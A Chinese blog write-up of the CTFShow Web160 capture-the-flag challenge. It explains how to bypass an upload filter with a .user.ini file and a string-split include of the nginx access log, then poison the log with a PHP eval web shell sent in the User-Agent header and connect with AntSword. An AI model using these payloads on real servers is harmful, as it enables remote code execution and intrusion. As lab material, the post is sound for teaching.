CTFShow-Web160:利用日志包含漏洞进行文件上传

CTFShow-Web160:利用日志包含漏洞进行文件上传

过滤规则

该题对上传文件内容的过滤规则如下:

​ • 禁止包含 空格

​ • 禁止包含 反引号 (``)

​ • 禁止包含 log

由于反引号被过滤,无法使用 Web159 的方法,需要利用 日志包含漏洞 来实现绕过。

日志包含漏洞原理

日志包含漏洞利用了 Web 应用中 动态包含文件 的特性。

如果上传的文件中使用了以下函数并包含日志文件,就可能触发漏洞:

​ • include()

​ • require()

​ • require_once()

​ • include_once()

攻击点:

​ 1. 攻击者可以通过请求头字段(如 User-Agent、Referer、Cookie 等)注入恶意代码。

​ 2. 日志文件会记录这些请求头,并将其内容视为 PHP 代码执行。

🛠️ Web160 解题步骤

  1. 确定目标日志文件

目标是包含 Nginx 的访问日志文件:/var/log/nginx/access.log

与 Web153 类似,先上传 .user.ini 文件,再上传图片文件。

在上传的图片文件中,内容设置为:

<?=include"/var/lo"."g/nginx/access.lo"."g"?>

代码说明:

​ • 使用字符串拼接(.)绕过对 log 的过滤。

​ • 忽略空格,以免触发空格过滤规则。

image-20250202182235349
  1. 查看日志返回的内容

上传文件后访问 /upload/,观察日志文件中的 User-Agent 字段内容:

image-20250202182945787

日志文件记录了请求时的 User-Agent,可以通过修改 User-Agent 字段注入恶意代码。

  1. 利用 User-Agent 字段注入代码

将恶意代码注入到 User-Agent 字段中,例如:

<?php @eval($_POST['pass']);?>
image-20250202183242955
  1. 利用蚁剑连接 WebShell

上传成功后,通过 AntSword(蚁剑) 连接 WebShell

连接成功后可以在 /var/www/html/flag.php 中找到 Flag 🎉

image-20250202183441121

本文作者:Zebra233

本文链接:https://www.cnblogs.com/cookiescs/p/18696979

版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。

posted @   Zebra233  阅读(13)  评论(0编辑  收藏  举报
点击右上角即可分享
微信分享提示
💬
评论
📌
收藏
💗
关注
👍
推荐
🚀
回顶
收起
  1. 1 404 not found REOL
404 not found - REOL
00:00 / 00:00
An audio error has occurred.